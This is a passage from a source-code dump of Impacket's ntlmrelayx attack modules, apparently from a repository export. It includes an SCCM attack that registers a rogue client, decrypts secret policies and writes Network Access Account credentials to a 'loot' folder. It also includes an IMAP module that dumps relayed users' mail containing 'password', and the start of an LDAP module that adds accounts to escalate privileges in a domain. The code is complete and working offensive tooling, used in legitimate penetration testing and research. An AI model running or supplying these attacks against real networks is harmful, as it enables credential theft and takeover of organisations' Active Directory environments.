blob.hex().upper()\n\n\n### Various utility functions ###\ndef encode_UTF16_strip_BOM(data):\n    return data.encode('utf-16')[2:]\n\ndef clean_junk_in_XML(xml_string):\n    root_end = xml_string.rfind('</')\n    if root_end != -1:\n        root_end = xml_string.find('>', root_end) + 1\n        clean_xml_string = xml_string[:root_end]\n        return clean_xml_string\n    return xml_string\n\n\n### Client registration utility functions ###\ndef generate_registration_request_payload(management_point, public_key, private_key, client_name):\n    registrationRequest = REGISTRATION_REQUEST_TEMPLATE.format(\n        date=datetime.now().strftime(\"%Y-%m-%dT%H:%M:%SZ\"),\n        encryption=public_key,\n        signature=public_key,\n        client=client_name.split('.')[0],\n        clientfqdn=client_name\n    )\n\n    signature = SCCM_sign(private_key, encode_UTF16_strip_BOM(registrationRequest)).hex().upper()\n    registrationRequestWrapper = REGISTRATION_REQUEST_WRAPPER_TEMPLATE.format(\n     data=registrationRequest,\n     signature=signature\n    )\n    registrationRequestWrapper = encode_UTF16_strip_BOM(registrationRequestWrapper) + \"\\r\\n\".encode('ascii')\n\n    registrationRequestHeader = SCCM_HEADER_TEMPLATE.format(\n        bodylength=len(registrationRequestWrapper)-2,\n        client=client_name,\n        date=datetime.now().strftime(\"%Y-%m-%dT%H:%M:%SZ\"),\n        sccmserver=management_point\n    )\n\n    final_body = \"--aAbBcCdDv1234567890VxXyYzZ\\r\\ncontent-type: text/plain; charset=UTF-16\\r\\n\\r\\n\".encode('ascii')\n    final_body += registrationRequestHeader.encode('utf-16') + \"\\r\\n--aAbBcCdDv1234567890VxXyYzZ\\r\\ncontent-type: application/octet-stream\\r\\n\\r\\n\".encode('ascii')\n    final_body += zlib.compress(registrationRequestWrapper) + \"\\r\\n--aAbBcCdDv1234567890VxXyYzZ--\".encode('ascii')\n\n    return final_body\n\n\n### Policies request utility functions ###\ndef generate_policies_request_payload(management_point, private_key, client_guid, client_name):\n    policyRequest = encode_UTF16_strip_BOM(POLICY_REQUEST_TEMPLATE.format(\n        clientid=client_guid,\n        clientfqdn=client_name,\n        client=client_name.split('.')[0]\n    )) + b\"\\x00\\x00\\r\\n\"\n    policyRequestCompressed = zlib.compress(policyRequest)\n\n    MSPublicKey = build_MS_public_key_blob(private_key)\n    clientID = f\"GUID:{client_guid.upper()}\"\n    clientIDSignature = SCCM_sign(private_key, encode_UTF16_strip_BOM(clientID) + \"\\x00\\x00\".encode('ascii')).hex().upper()\n    policyRequestSignature = SCCM_sign(private_key, policyRequestCompressed).hex().upper()\n\n    policyRequestHeader = POLICY_REQUEST_HEADER_TEMPLATE.format(\n        bodylength=len(policyRequest)-2, \n        sccmserver=management_point, \n        client=client_name.split('.')[0],\n        publickey=MSPublicKey, \n        clientIDsignature=clientIDSignature, \n        payloadsignature=policyRequestSignature, \n        clientid=client_guid, \n        date=datetime.now().strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n    )\n\n    final_body = \"--aAbBcCdDv1234567890VxXyYzZ\\r\\ncontent-type: text/plain; charset=UTF-16\\r\\n\\r\\n\".encode('ascii')\n    final_body += policyRequestHeader.encode('utf-16') + \"\\r\\n--aAbBcCdDv1234567890VxXyYzZ\\r\\ncontent-type: application/octet-stream\\r\\n\\r\\n\".encode('ascii')\n    final_body += policyRequestCompressed + \"\\r\\n--aAbBcCdDv1234567890VxXyYzZ--\".encode('ascii')\n\n    return final_body\n\n\n### Secret policies utility functions ###\ndef decrypt_key_OEAP(encrypted_key, private_key):\n    return private_key.decrypt(encrypted_key, OAEP(mgf=MGF1(algorithm=SHA1()), algorithm=SHA1(), label=None))\n\ndef decrypt_key_RSA(encrypted_key, private_key):\n    return private_key.decrypt(encrypted_key, PKCS1v15())\n\ndef decrypt_body_triple_DES(body, plaintextkey, iv):\n    cipher = Cipher(algorithms.TripleDES(plaintextkey), modes.CBC(iv), backend=default_backend())\n    decryptor = cipher.decryptor()\n    plaintext = decryptor.update(body) + decryptor.finalize()\n    return plaintext.decode('utf-16le')\n\ndef decrypt_body_AESCBC(body, plaintextkey, iv):\n    cipher = Cipher(algorithms.AES(plaintextkey), modes.CBC(iv), backend=default_backend())\n    decryptor = cipher.decryptor()\n    plaintext = decryptor.update(body) + decryptor.finalize()\n    return plaintext.decode('utf-16le')\n\ndef decrypt_secret_policy(policy_response, private_key):\n    content, _ = decode(policy_response, asn1Spec=rfc5652.ContentInfo())\n    content, _ = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData())\n    encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets()\n    keyEncryptionOID = str(content['recipientInfos'][0]['ktri']['keyEncryptionAlgorithm']['algorithm'])\n    iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:]\n    body = content['encryptedContentInfo']['encryptedContent'].asOctets()\n    bodyEncryptionOID = str(content['encryptedContentInfo']['contentEncryptionAlgorithm']['algorithm'])\n\n    try:\n        if OID_MAPPING[keyEncryptionOID] == 'rsaEncryption':\n            plaintextkey = decrypt_key_RSA(encryptedRSAKey, private_key)\n        elif OID_MAPPING[keyEncryptionOID] == 'id-RSAES-OAEP':\n            plaintextkey = decrypt_key_OEAP(encryptedRSAKey, private_key)\n        else:\n            LOG.error(f\"Key decryption algorithm {OID_MAPPING[keyEncryptionOID]} is not currently implemented.\")\n            return\n    except KeyError as e:\n        LOG.error(f\"[-] Unknown key decryption algorithm.\")\n        return\n\n    try:\n        if OID_MAPPING[bodyEncryptionOID] == 'des-ede3-cbc':\n            plaintextbody = decrypt_body_triple_DES(body, plaintextkey, iv)\n        elif OID_MAPPING[bodyEncryptionOID] == 'aes256_cbc':\n            plaintextbody = decrypt_body_AESCBC(body, plaintextkey, iv)\n        else:\n            LOG.error(f\"[-] Body decryption algorithm {OID_MAPPING[bodyEncryptionOID]} is not currently implemented.\")\n            return\n    except KeyError as e:\n        LOG.error(f\"[-] Unknown body decryption algorithm.\")\n        return\n\n    return plaintextbody\n\ndef mscrypt_derive_key_sha1(secret:bytes):\n    # Implementation of CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey);\n    buf1 = bytearray([0x36] * 64)\n    buf2 = bytearray([0x5C] * 64)\n\n    digest = hashes.Hash(hashes.SHA1(), backend=default_backend())\n    digest.update(secret)\n    hash_ = digest.finalize()\n\n    for i in range(len(hash_)):\n        buf1[i] ^= hash_[i]\n        buf2[i] ^= hash_[i]\n\n    digest1 = hashes.Hash(hashes.SHA1(), backend=default_backend())\n    digest1.update(buf1)\n    hash1 = digest1.finalize()\n\n    digest2 = hashes.Hash(hashes.SHA1(), backend=default_backend())\n    digest2.update(buf2)\n    hash2 = digest2.finalize()\n\n    derived_key = hash1 + hash2[:4]\n    return derived_key\n\ndef deobfuscate_secret_policy_blob(output):\n    if isinstance(output, str):\n        output = bytes.fromhex(output)\n    \n    data_length = int.from_bytes(output[52:56], 'little')\n    buffer = output[64:64+data_length]\n\n    key = mscrypt_derive_key_sha1(output[4:4+0x28])\n    iv = bytes([0] * 8)\n    cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())\n    decryptor = cipher.decryptor()\n    decrypted_data = decryptor.update(buffer) + decryptor.finalize()\n\n    padder = padding.PKCS7(64).unpadder() # 64 is the block size in bits for DES3\n    decrypted_data = padder.update(decrypted_data) + padder.finalize()\n\n    try:\n        decrypted_data = decrypted_data.decode('utf-16-le')\n    except:\n        decrypted_data = decrypted_data.hex()\n    return decrypted_data\n\n\ndef parse_policies_flags(policyFlagValue):\n    policyFlagValue = int(policyFlagValue)\n    NONE                        = 0b0000000\n    TASKSEQUENCE                = 0b0000001\n    REQUIRESAUTH                = 0b0000010\n    SECRET                      = 0b0000100\n    INTRANETONLY                = 0b0001000\n    PERSISTWHOLEPOLICY          = 0b0010000\n    AUTHORIZEDDYNAMICDOWNLOAD   = 0b0100000\n    COMPRESSED                  = 0b1000000 \n\n    result = []\n    if policyFlagValue & TASKSEQUENCE != 0:\n        result.append(\"TASKSEQUENCE\")\n    if policyFlagValue & REQUIRESAUTH != 0:\n        result.append(\"REQUIRESAUTH\")\n    if policyFlagValue & SECRET != 0:\n        result.append(\"SECRET\")\n    if policyFlagValue & INTRANETONLY != 0:\n        result.append(\"INTRANETONLY\")\n    if policyFlagValue & PERSISTWHOLEPOLICY != 0:\n        result.append(\"PERSISTWHOLEPOLICY\")\n    if policyFlagValue & AUTHORIZEDDYNAMICDOWNLOAD != 0:\n        result.append(\"AUTHORIZEDDYNAMICDOWNLOAD\")\n    if policyFlagValue & COMPRESSED != 0:\n        result.append(\"COMPRESSED\")\n    \n    return result\n\n\n\nclass SCCMPoliciesAttack:\n    \n    def _run(self):\n        LOG.info(\"Starting SCCM policies attack\")\n\n        management_point = f\"{'https' if self.client.port == 443 else 'http'}://{self.client.host}\"\n        loot_dir = f\"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}_sccm_policies_loot\"\n        if self.config.SCCMPoliciesClientname == None: self.config.SCCMPoliciesClientname = self.username.rstrip('$')\n        if self.config.SCCMPoliciesSleep == None: self.config.SCCMPoliciesSleep = 180\n\n        try:\n            os.makedirs(loot_dir, exist_ok=True)\n            LOG.info(f\"Loot directory is: {loot_dir}\")\n        except Exception as err:\n            LOG.error(f\"Error creating base output directory: {err}\")\n            return\n\n        os.makedirs(f\"{loot_dir}/device\")\n        LOG.info(f\"Generating Private key and client (self-signed) certificate\")\n        private_key = create_private_key()\n        certificate = create_certificate(private_key)\n        public_key = certificate.public_bytes(serialization.Encoding.DER).hex().upper()\n        # Writing certs to device info directory for potential future use\n        with open(f\"{loot_dir}/device/cert.pem\", 'wb') as f:\n            f.write(certificate.public_bytes(serialization.Encoding.PEM))\n        with open(f\"{loot_dir}/device/key.pem\", 'wb') as f:\n            f.write(private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption()))\n\n        # Device registration  \n        LOG.info(f\"Registering SCCM client with client name '{self.config.SCCMPoliciesClientname}'\")\n        registration_request_payload = generate_registration_request_payload(management_point, public_key, private_key, self.config.SCCMPoliciesClientname)\n        \n        try:\n            register_response = self.register_client(management_point, registration_request_payload)\n            if register_response == None:\n                LOG.error(f\"Device registration failed\")\n                return\n            root = ET.fromstring(register_response[:-1])\n            client_guid = root.attrib[\"SMSID\"].split(\"GUID:\")[1]\n        except Exception as e:\n            LOG.error(f\"Device registration failed: {e}\")\n            return\n    \n        with open(f\"{loot_dir}/device/guid.txt\", 'w') as f:\n            f.write(f\"{client_guid}\\n\")\n        with open(f\"{loot_dir}/device/client_name.txt\", 'w') as f:\n            f.write(f\"{self.config.SCCMPoliciesClientname}\\n\")\n\n        LOG.info(f\"Client registration complete - GUID: {client_guid}\")\n        LOG.info(f\"Sleeping for {self.config.SCCMPoliciesSleep} seconds\")\n        sleep(int(self.config.SCCMPoliciesSleep))\n\n\n        # Policies request\n        policies_request_payload = generate_policies_request_payload(management_point, private_key, client_guid, self.config.SCCMPoliciesClientname)\n\n        try:\n            policies_response = self.request_policies(management_point, policies_request_payload)\n            root = ET.fromstring(policies_response[:-1])\n            policies = root.findall(\".//Policy\")\n            policies_json = {}\n            for policy in policies:\n                policies_json[policy.attrib[\"PolicyID\"]] = {\"PolicyVersion\": policy.attrib[\"PolicyVersion\"] if \"PolicyVersion\" in policy.attrib else \"N/A\",\n                                                \"PolicyType\": policy.attrib[\"PolicyType\"] if \"PolicyType\" in policy.attrib else \"N/A\",\n                                                \"PolicyCategory\": policy.attrib[\"PolicyCategory\"] if \"PolicyCategory\" in policy.attrib else \"N/A\",\n                                                \"PolicyFlags\": parse_policies_flags(policy.attrib[\"PolicyFlags\"]) if \"PolicyFlags\" in policy.attrib else \"N/A\",\n                                                \"PolicyLocation\": policy[0].text.replace(\"<mp>\", management_point.split('http://')[1]) }\n            with open(f'{loot_dir}/policies.json', 'w') as f:\n                f.write(json.dumps(policies_json))\n            with open(f'{loot_dir}/policies.raw', 'w') as f:\n                f.write(policies_response)\n            secret_policies = {}\n            for key, value in policies_json.items():\n                if isinstance(value[\"PolicyFlags\"], list) and \"SECRET\" in value[\"PolicyFlags\"]:\n                    secret_policies[key] = value\n        except Exception as e:\n            LOG.error(f\"Policies request failed: {e}\")\n            return\n\n        LOG.info(f\"Policies list retrieved. {len(policies_json.keys())} total policies; {len(secret_policies.keys())} secret policies\")\n        if len(secret_policies.keys()) <= 0:\n            LOG.error(f\"No secret policies retrieved. Either you relayed a user account and automatic device approval is not enabled, or something went wrong\")\n            return\n\n\n        for key, value in secret_policies.items():\n            try:\n                result = self.secret_policy_process(key, value, private_key, client_guid, loot_dir)\n                if result['NAA_credentials'] is not None:\n                    LOG.info(f\"Retrieved NAA account credentials: '{result['NAA_credentials']['NetworkAccessUsername']}:{result['NAA_credentials']['NetworkAccessPassword']}'\")\n            except Exception as e:\n                LOG.info(f\"Encountered an error when trying to process secret policy {key} - {e}\")\n\n        LOG.info(f\"DONE - attack finished. Check loot directory {loot_dir}\")\n        LOG.info(\"You can reuse the registered device from the generated GUID/private key in the device/ subdirectory - for instance with SCCMSecrets.py. This is only possible for a limited time, before the legitimate device re-registers itself.\")\n\n        \n    \n\n    def register_client(self, management_point, registration_request_payload):\n        headers = {\n            \"Connection\": \"close\",\n            \"User-Agent\": \"ConfigMgr Messaging HTTP Sender\",\n            \"Content-Type\": \"multipart/mixed; boundary=\\\"aAbBcCdDv1234567890VxXyYzZ\\\"\"\n        }\n        \n        self.client.request(\"CCM_POST\", f\"{management_point}/ccm_system_windowsauth/request\", registration_request_payload, headers=headers)\n        body = self.client.getresponse().read()\n\n\n        boundary = \"aAbBcCdDv1234567890VxXyYzZ\"\n        multipart_data = body.split(('--' + boundary).encode())\n        for part in multipart_data:\n            if not part or part == b'--\\r\\n':\n                continue\n            try:\n                headers_part, content = part.split(b'\\r\\n\\r\\n', 1)\n            except:\n                pass\n\n            if b'application/octet-stream' in headers_part:\n                decompressed_content = zlib.decompress(content).decode('utf-16')\n                return decompressed_content\n        return None\n    \n    def request_policies(self, management_point, policies_request_payload):\n        headers = {\n            \"Connection\": \"close\",\n            \"User-Agent\": \"ConfigMgr Messaging HTTP Sender\",\n            \"Content-Type\": \"multipart/mixed; boundary=\\\"aAbBcCdDv1234567890VxXyYzZ\\\"\"\n        }\n\n        self.client.request(\"CCM_POST\", f\"{management_point}/ccm_system/request\", policies_request_payload, headers=headers)\n        body = self.client.getresponse().read()\n\n        boundary = \"aAbBcCdDv1234567890VxXyYzZ\"\n        multipart_data = body.split(('--' + boundary).encode())\n        for part in multipart_data:\n            if not part or part == b'--\\r\\n':\n                continue\n            try:\n                headers_part, content = part.split(b'\\r\\n\\r\\n', 1)\n            except:\n                pass\n\n            if b'application/octet-stream' in headers_part:\n                decompressed_content = zlib.decompress(content).decode('utf-16')\n                return decompressed_content\n        return None\n    \n    def request_policy(self, policy_url, client_guid, private_key):\n        headers = {\n            \"Connection\": \"close\",\n            \"User-Agent\": \"ConfigMgr Messaging HTTP Sender\"\n        }\n\n        headers[\"ClientToken\"] = f\"GUID:{client_guid};{datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')};2\"\n        headers[\"ClientTokenSignature\"] = SCCM_sign(private_key, f\"GUID:{client_guid};{datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')};2\".encode('utf-16')[2:] + \"\\x00\\x00\".encode('ascii')).hex().upper()\n\n        self.client.request(\"GET\", policy_url, headers=headers)\n        r = self.client.getresponse().read()\n        return r\n\n\n    def secret_policy_process(self, policyID, policy, private_key, client_guid, loot_dir):\n        LOG.info(f\"Processing secret policy {policyID}\")\n        os.makedirs(f'{loot_dir}/{policyID}')\n\n        NAA_credentials = {\"NetworkAccessUsername\": None, \"NetworkAccessPassword\": None}\n        policy_response = self.request_policy(policy[\"PolicyLocation\"], client_guid, private_key)\n        decrypted = decrypt_secret_policy(policy_response, private_key)[:-1]\n        decrypted = clean_junk_in_XML(decrypted)\n        \n        if policy[\"PolicyCategory\"] == \"CollectionSettings\":\n            LOG.debug(\"Processing a CollectionSettings policy to extract collection variables\")\n            root = ET.fromstring(decrypted)\n            binary_data = binascii.unhexlify(root.text)\n            decompressed_data = zlib.decompress(binary_data)\n            decrypted = decompressed_data.decode('utf16')\n\n        with open(f'{loot_dir}/{policyID}/policy.txt', 'w') as f:\n            f.write(decrypted)\n        \n        \n        root = ET.fromstring(decrypted)\n\n        blobs_set = {}\n\n        if policy[\"PolicyCategory\"] == \"CollectionSettings\":\n            for instance in root.findall(\".//instance\"):\n                name = None\n                value = None\n                for prop in instance.findall('property'):\n                    prop_name = prop.get('name')\n                    if prop_name == 'Name':\n                        name = prop.find('value').text.strip()\n                    elif prop_name == 'Value':\n                        value = prop.find('value').text.strip()\n                blobs_set[name] = value\n\n        else:\n            obfuscated_blobs = root.findall('.//*[@secret=\"1\"]')    \n            for obfuscated_blob in obfuscated_blobs:       \n                blobs_set[obfuscated_blob.attrib[\"name\"]] = obfuscated_blob[0].text\n        \n        LOG.debug(f\"Found {len(blobs_set.keys())} obfuscated blob(s) in secret policy.\")\n        for i, blob_name in enumerate(blobs_set.keys()):\n            data = deobfuscate_secret_policy_blob(blobs_set[blob_name])\n            filename = f'{loot_dir}/{policyID}/secretBlob_{str(i+1)}-{blob_name}.txt'\n            with open(filename, 'w') as f:\n                f.write(f\"Secret property name: {blob_name}\\n\\n\")\n                f.write(data + \"\\n\")\n            if blob_name == \"NetworkAccessUsername\":\n                NAA_credentials[\"NetworkAccessUsername\"] = data\n            if blob_name == \"NetworkAccessPassword\":\n                NAA_credentials[\"NetworkAccessPassword\"] = data\n\n            LOG.debug(f\"Deobfuscated blob n°{i+1}\")\n            try:\n                blobroot = ET.fromstring(clean_junk_in_XML(data))\n                source_scripts = blobroot.findall('.//*[@property=\"SourceScript\"]')\n                if len(source_scripts) > 0:\n                    LOG.debug(f\"Found {len(source_scripts)} embedded powershell scripts in blob.\")\n                    for j, script in enumerate(source_scripts):\n                        decoded_script = base64.b64decode(script.text).decode('utf-16le')\n                        with open(f'{loot_dir}/{policyID}/secretBlob_{str(i+1)}-{blob_name}_embeddedScript_{j+1}.txt', 'w') as f:\n                            f.write(decoded_script)\n                            f.write(\"\\n\")\n\n            except ET.ParseError as e:\n                LOG.debug(\"Failed parsing XML on this blob - not XML content\")\n                pass\n        \n        if NAA_credentials[\"NetworkAccessUsername\"] is not None:\n            return {\"NAA_credentials\": NAA_credentials}\n        else:\n            return {\"NAA_credentials\": None}\n\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/imapattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   IMAP Attack Class\n#   IMAP protocol relay attack\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nimport re\nimport os\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\n\nPROTOCOL_ATTACK_CLASS = \"IMAPAttack\"\n\nclass IMAPAttack(ProtocolAttack):\n    \"\"\"\n    This is the default IMAP(s) attack. By default it searches the INBOX imap folder\n    for messages with \"password\" in the header or body. Alternate keywords can be specified\n    on the command line. For more advanced attacks, consider using the SOCKS feature.\n    \"\"\"\n    PLUGIN_NAMES = [\"IMAP\", \"IMAPS\"]\n    def run(self):\n        #Default action: Search the INBOX\n        targetBox = self.config.mailbox\n        result, data = self.client.select(targetBox,True) #True indicates readonly\n        if result != 'OK':\n            LOG.error('Could not open mailbox %s: %s' % (targetBox, data))\n            LOG.info('Opening mailbox INBOX')\n            targetBox = 'INBOX'\n            result, data = self.client.select(targetBox,True) #True indicates readonly\n        inboxCount = int(data[0])\n        LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox))\n        #If we should not dump all, search for the keyword\n        if not self.config.dump_all:\n            result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '\"%s\"' % self.config.keyword, 'BODY', '\"%s\"' % self.config.keyword)\n            #Check if search worked\n            if result != 'OK':\n                LOG.error('Search failed: %s' % rawdata)\n                return\n            dumpMessages = []\n            #message IDs are separated by spaces\n            for msgs in rawdata:\n                dumpMessages += msgs.split(' ')\n            if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:\n                dumpMessages = dumpMessages[:self.config.dump_max]\n        else:\n            #Dump all mails, up to the maximum number configured\n            if self.config.dump_max == 0 or self.config.dump_max > inboxCount:\n                dumpMessages = list(range(1, inboxCount+1))\n            else:\n                dumpMessages = list(range(1, self.config.dump_max+1))\n\n        numMsgs = len(dumpMessages)\n        if numMsgs == 0:\n            LOG.info('No messages were found containing the search keywords')\n        else:\n            LOG.info('Dumping %d messages found by search for \"%s\"' % (numMsgs, self.config.keyword))\n            for i, msgIndex in enumerate(dumpMessages):\n                #Fetch the message\n                result, rawMessage = self.client.fetch(msgIndex, '(RFC822)')\n                if result != 'OK':\n                    LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage))\n                    continue\n\n                #Replace any special chars in the mailbox name and username\n                mailboxName = re.sub(r'[^a-zA-Z0-9_\\-\\.]+', '_', targetBox)\n                textUserName = re.sub(r'[^a-zA-Z0-9_\\-\\.]+', '_', self.username)\n\n                #Combine username with mailboxname and mail number\n                fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'\n\n                #Write it to the file\n                with open(os.path.join(self.config.lootdir,fileName),'w') as of:\n                    of.write(rawMessage[0][1])\n                LOG.info('Done fetching message %d/%d' % (i+1,numMsgs))\n\n        #Close connection cleanly\n        self.client.logout()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/ldapattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   LDAP Attack Class\n#   LDAP(s) protocol relay attack\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nimport _thread\nimport random\nimport string\nimport json\nimport datetime\nimport binascii\nimport codecs\nimport re\nimport dns.resolver\nimport ldap3\nimport ldapdomaindump\nfrom ldap3.core.results import RESULT_UNWILLING_TO_PERFORM\nfrom ldap3.protocol.microsoft import security_descriptor_control\nfrom ldap3.protocol.formatters.formatters import format_sid\nfrom ldap3.utils.conv import escape_filter_chars\nimport os\nfrom Cryptodome.Hash import MD4\nfrom ipaddress import IPv4Address, AddressValueError\nfrom functools import partial\n\nfrom impacket import LOG\nfrom impacket.examples.ldap_shell import LdapShell\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\nfrom impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell\nfrom impacket.ldap import ldaptypes\nfrom impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP\nfrom impacket.uuid import string_to_bin, bin_to_string\nfrom impacket.structure import Structure, hexdump\nfrom impacket.examples.ntlmrelayx.utils import shadow_credentials\n\n# This is new from ldap3 v2.5\ntry:\n    from ldap3.protocol.microsoft import security_descriptor_control\nexcept ImportError:\n    # We use a print statement because the logger is not initialized yet here\n    print(\"Failed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. \\\nPlease update with 'python -m pip install ldap3 --upgrade'\")\nPROTOCOL_ATTACK_CLASS = \"LDAPAttack\"\n\n# Define global variables to prevent dumping the domain twice\n# and to prevent privilege escalating more than once\ndumpedDomain = False\ndumpedAdcs = False\nalreadyEscalated = False\nalreadyAddedComputer = False\ndelegatePerformed = []\n\n#gMSA structure\nclass MSDS_MANAGEDPASSWORD_BLOB(Structure):\n    structure = (\n        ('Version','<H'),\n        ('Reserved','<H'),\n        ('Length','<L'),\n        ('CurrentPasswordOffset','<H'),\n        ('PreviousPasswordOffset','<H'),\n        ('QueryPasswordIntervalOffset','<H'),\n        ('UnchangedPasswordIntervalOffset','<H'),\n        ('CurrentPassword',':'),\n        ('PreviousPassword',':'),\n        #('AlignmentPadding',':'),\n        ('QueryPasswordInterval',':'),\n        ('UnchangedPasswordInterval',':'),\n    )\n\n    def __init__(self, data = None):\n        Structure.__init__(self, data = data)\n\n    def fromString(self, data):\n        Structure.fromString(self,data)\n\n        if self['PreviousPasswordOffset'] == 0:\n            endData = self['QueryPasswordIntervalOffset']\n        else:\n            endData = self['PreviousPasswordOffset']\n\n        self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]\n        if self['PreviousPasswordOffset'] != 0:\n            self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]\n\n        self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]\n        self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]\n\n\nclass LDAPAttack(ProtocolAttack):\n    \"\"\"\n    This is the default LDAP attack. It checks the privileges of the relayed account\n    and performs a domaindump if the user does not have administrative privileges.\n    If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.\n    \"\"\"\n    PLUGIN_NAMES = [\"LDAP\", \"LDAPS\"]\n\n    # ACL constants\n    # When reading, these constants are actually represented by\n    # the following for Active Directory specific Access Masks\n    # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2\n    GENERIC_READ            = 0x00020094\n    GENERIC_WRITE           = 0x00020028\n    GENERIC_EXECUTE         = 0x00020004\n    GENERIC_ALL             = 0x000F01FF\n\n    def __init__(self, config, LDAPClient, username, target=None, relay_client=None):\n        self.computerName = '' if not config.addcomputer else config.addcomputer[0]\n        self.computerPassword = '' if not config.addcomputer or len(config.addcomputer) < 2 else config.addcomputer[1]\n        ProtocolAttack.__init__(self, config, LDAPClient, username, target, relay_client)\n        if self.config.interactive:\n            # Launch locally listening interactive shell.\n            self.tcp_shell = TcpShell()\n\n    def addComputer(self, parent, domainDumper):\n        \"\"\"\n        Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can\n        also be an OU or other container where we have write privileges\n        \"\"\"\n        global alreadyAddedComputer\n        if alreadyAddedComputer:\n            LOG.error('New computer already added. Refusing to add another')\n            return False\n\n        if not self.client.tls_started and not self.client.server.ssl:\n            LOG.info('Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')\n            if not self.client.start_tls():\n                LOG.error('StartTLS failed')\n                return False\n\n        # Get the domain we are in\n        domaindn = domainDumper.root\n        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]\n\n        computerName = self.computerName\n        if not computerName:\n            # Random computername\n            newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()\n        else:\n            newComputer = computerName if computerName.endswith('$') else computerName + '$'\n\n        computerPassword = self.computerPassword\n        if not computerPassword:\n            # Random password\n            newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))\n        else:\n            newPassword = computerPassword\n\n        computerHostname = newComputer[:-1]\n        newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')\n\n        # Default computer SPNs\n        spns = [\n            'HOST/%s' % computerHostname,\n            'HOST/%s.%s' % (computerHostname, domain),\n            'RestrictedKrbHost/%s' % computerHostname,\n            'RestrictedKrbHost/%s.%s' % (computerHostname, domain),\n        ]\n        ucd = {\n            'dnsHostName': '%s.%s' % (computerHostname, domain),\n            'userAccountControl': 4096,\n            'servicePrincipalName': spns,\n            'sAMAccountName': newComputer,\n            'unicodePwd': '\"{}\"'.format(newPassword).encode('utf-16-le')\n        }\n        LOG.debug('New computer info %s', ucd)\n        LOG.info('Attempting to create computer in: %s', parent)\n        res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)\n        if not res:\n            # Adding computers requires LDAPS\n            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:\n                LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')\n            else:\n                LOG.error('Failed to add a new computer: %s' % str(self.client.result))\n            return False\n        else:\n            LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))\n            alreadyAddedComputer = True\n            # Return the SAM name\n            return newComputer\n\n    def addUser(self, parent, domainDumper):\n        \"\"\"\n        Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can\n        also be an OU or other container where we have write privileges\n        \"\"\"\n        global alreadyEscalated\n        if alreadyEscalated:\n            LOG.error('New user already added. Refusing to add another')\n            return\n\n        if not self.client.tls_started and not self.client.server.ssl:\n            LOG.info('Adding a user account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')\n            if not self.client.start_tls():\n                LOG.error('StartTLS failed')\n                return False\n\n        # Random password\n        newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))\n\n        # Random username\n        newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))\n        newUserDn = 'CN=%s,%s' % (newUser, parent)\n        ucd = {\n            'objectCategory': 